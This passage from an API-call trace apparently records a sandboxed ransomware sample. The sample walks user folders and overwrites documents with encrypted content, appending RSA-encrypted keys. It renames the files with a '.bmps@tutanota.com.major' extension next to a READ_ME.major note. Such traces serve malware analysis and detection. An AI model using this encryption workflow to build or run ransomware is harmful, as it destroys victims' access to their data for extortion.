GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=40105) returned 1 [0155.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9ca9) returned 0x6538b0 [0155.692] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9ca9) returned 0x2e61f30 [0155.692] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x9ca9, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x9ca9, lpOverlapped=0x0) returned 1 [0155.693] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-40105, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.693] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0x9ca9, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9ca9, lpOverlapped=0x0) returned 1 [0155.693] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.693] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.693] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9ca9 [0155.693] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.693] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.694] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.694] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.694] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.694] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.694] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="r8eoGjh5OffDWbCXZD0NxI91fwbZ1gogVmsbLFiBfT8cu39DYXtBfx7jmT0AwV0t\ngsrFEQvCHmhDZ0BAEEOU7MW0+UxvsbiK7SDGnObwZPWFlrazRtvEg7EwuXB/6A6e\n2+LTAG1kOjdvVhngmTd4yO/PSRBZo5VJk2OBjQ6d2lfoUwVkZEXTa+cdP5iagQHs\nh9GHRopQFuEHL3vXdONGCx0NaJpuxz9nNSm3gHWymnBHOEUxpP1179LVkfF6otUM\nRBOj8zkIzR2YSSC8Is38ZkZSU1h1L+kJfz+n4Wz6i9hEAiIw4i35wAtFXGjb6D0f\nPtggVPmq2gfbklRXzV/HHg==\n", pcchString=0x2e3f9a8) returned 1 [0155.694] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.694] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.694] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.694] CloseHandle (hObject=0x6ac) returned 1 [0155.694] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.694] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2iVEgtc.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\2ivegtc.flv"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2iVEgtc.flv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\2ivegtc.flv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e678 | out: hHeap=0x570000) returned 1 [0155.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0155.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0155.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0155.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.696] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.696] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2dbfm XwykSXRZNxS.gif", dwFileAttributes=0x80) returned 1 [0155.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0155.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0980 [0155.696] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdbc8 | out: hHeap=0x570000) returned 1 [0155.696] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2dbfm XwykSXRZNxS.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\2dbfm xwyksxrznxs.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6ac [0155.696] GetFileSizeEx (in: hFile=0x6ac, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=50970) returned 1 [0155.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc71a) returned 0x6538b0 [0155.696] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc71a) returned 0x2e61f30 [0155.696] ReadFile (in: hFile=0x6ac, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xc71a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xc71a, lpOverlapped=0x0) returned 1 [0155.697] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=-50970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.697] WriteFile (in: hFile=0x6ac, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xc71a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc71a, lpOverlapped=0x0) returned 1 [0155.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.697] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.697] SetFilePointer (in: hFile=0x6ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc71a [0155.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.698] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.698] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.698] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.698] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="soerId1qXb5pIG6WQ2m4xPm/CxcOHLlGqvY6CZFazJ3MFAKRc6sjhBc7jqtA8M+L\nYeMwXo0qq8Wwh3V1Gxc4JFEvtRt9w0vt0Hj+NZSSBNTkOPXMxnb4BhbO/aUJ3dpU\np5N9OYfuU7TDWIO075M3blmpiImmgvZZ7toQ0Q15DpvhH9/2T3NpihQKHNYtkFG9\nVKFBbQn3XJUnq8uDPAwUeXlw+xi3XgA0PChfGz33xP3enWulGGU3YzUSzRJup1oJ\nG2LYPN5uTWw5WYojwQfLeOstSHfLne8L6kDORRlf5aMwcpetoNW6P4YZ9kuyUeTu\n0IIgjtlCuoQhrT3QBg3dUA==\n", pcchString=0x2e3f9a8) returned 1 [0155.698] WriteFile (in: hFile=0x6ac, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.698] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.698] WriteFile (in: hFile=0x6ac, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.698] CloseHandle (hObject=0x6ac) returned 1 [0155.698] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.698] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2dbfm XwykSXRZNxS.gif" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\2dbfm xwyksxrznxs.gif"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\PFR2M-o0qt2\\2dbfm XwykSXRZNxS.gif.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\pfr2m-o0qt2\\2dbfm xwyksxrznxs.gif.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0980 | out: hHeap=0x570000) returned 1 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdc40 | out: hHeap=0x570000) returned 1 [0155.706] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0155.706] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29c008a0, ftCreationTime.dwHighDateTime=0x1d4c702, ftLastAccessTime.dwLowDateTime=0x61f72380, ftLastAccessTime.dwHighDateTime=0x1d4d5cf, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631600 [0155.706] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0155.706] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0155.706] GetLastError () returned 0x0 [0155.706] SetLastError (dwErrCode=0x0) [0155.706] GetLastError () returned 0x0 [0155.706] SetLastError (dwErrCode=0x0) [0155.706] GetLastError () returned 0x0 [0155.707] SetLastError (dwErrCode=0x0) [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be420 | out: hHeap=0x570000) returned 1 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631440 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631440 | out: hHeap=0x570000) returned 1 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.707] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29c008a0, ftCreationTime.dwHighDateTime=0x1d4c702, ftLastAccessTime.dwLowDateTime=0x61f72380, ftLastAccessTime.dwHighDateTime=0x1d4d5cf, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0155.707] GetLastError () returned 0x0 [0155.707] SetLastError (dwErrCode=0x0) [0155.707] GetLastError () returned 0x0 [0155.707] SetLastError (dwErrCode=0x0) [0155.707] GetLastError () returned 0x0 [0155.707] SetLastError (dwErrCode=0x0) [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6311c0 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6311c0 | out: hHeap=0x570000) returned 1 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40420 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40420 | out: hHeap=0x570000) returned 1 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.707] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe76a84c0, ftCreationTime.dwHighDateTime=0x1d4c7b6, ftLastAccessTime.dwLowDateTime=0xc7495e10, ftLastAccessTime.dwHighDateTime=0x1d4c6ed, ftLastWriteTime.dwLowDateTime=0xc7495e10, ftLastWriteTime.dwHighDateTime=0x1d4c6ed, nFileSizeHigh=0x0, nFileSizeLow=0xee0b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="6tEoR.pptx", cAlternateFileName="6TEOR~1.PPT")) returned 1 [0155.707] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0155.707] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0155.707] GetLastError () returned 0x0 [0155.707] SetLastError (dwErrCode=0x0) [0155.707] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0155.708] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.708] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7303ce10, ftCreationTime.dwHighDateTime=0x1d4cb6d, ftLastAccessTime.dwLowDateTime=0x8fc34a60, ftLastAccessTime.dwHighDateTime=0x1d4c7dc, ftLastWriteTime.dwLowDateTime=0x8fc34a60, ftLastWriteTime.dwHighDateTime=0x1d4c7dc, nFileSizeHigh=0x0, nFileSizeLow=0x17db0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ADKDMYjR.ots", cAlternateFileName="")) returned 1 [0155.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0155.708] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.708] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0155.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0155.708] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0155.708] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b86160, ftCreationTime.dwHighDateTime=0x1d4cd56, ftLastAccessTime.dwLowDateTime=0x565090, ftLastAccessTime.dwHighDateTime=0x1d4d43c, ftLastWriteTime.dwLowDateTime=0x565090, ftLastWriteTime.dwHighDateTime=0x1d4d43c, nFileSizeHigh=0x0, nFileSizeLow=0xa068, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="aG_ILdnlK6A76fygFr.xls", cAlternateFileName="AG_ILD~1.XLS")) returned 1 [0155.708] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0155.708] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0155.708] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.708] GetLastError () returned 0x0 [0155.708] SetLastError (dwErrCode=0x0) [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0155.709] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dba32d0, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0xd3370120, ftLastAccessTime.dwHighDateTime=0x1d4cc59, ftLastWriteTime.dwLowDateTime=0xd3370120, ftLastWriteTime.dwHighDateTime=0x1d4cc59, nFileSizeHigh=0x0, nFileSizeLow=0x140e7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="L4a2vrKqmMmeGay.xls", cAlternateFileName="L4A2VR~1.XLS")) returned 1 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0155.709] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a97630, ftCreationTime.dwHighDateTime=0x1d4d006, ftLastAccessTime.dwLowDateTime=0x14dd24a0, ftLastAccessTime.dwHighDateTime=0x1d4d0a7, ftLastWriteTime.dwLowDateTime=0x14dd24a0, ftLastWriteTime.dwHighDateTime=0x1d4d0a7, nFileSizeHigh=0x0, nFileSizeLow=0x7daa, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ovhur4oc20Jwn.ods", cAlternateFileName="OVHUR4~1.ODS")) returned 1 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0155.709] GetLastError () returned 0x0 [0155.709] SetLastError (dwErrCode=0x0) [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0155.709] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16e61c1a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16e61c1a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0155.709] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0155.709] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0155.710] GetLastError () returned 0x0 [0155.710] SetLastError (dwErrCode=0x0) [0155.710] GetLastError () returned 0x0 [0155.710] SetLastError (dwErrCode=0x0) [0155.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0155.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0155.710] GetLastError () returned 0x0 [0155.710] SetLastError (dwErrCode=0x0) [0155.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.710] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.710] FindNextFileW (in: hFindFile=0x631600, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16e61c1a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x16e61c1a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x16e61c1a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0155.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.710] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.710] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\cupDn\\ovhur4oc20Jwn.ods", dwFileAttributes=0x80) returned 1 [0155.710] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 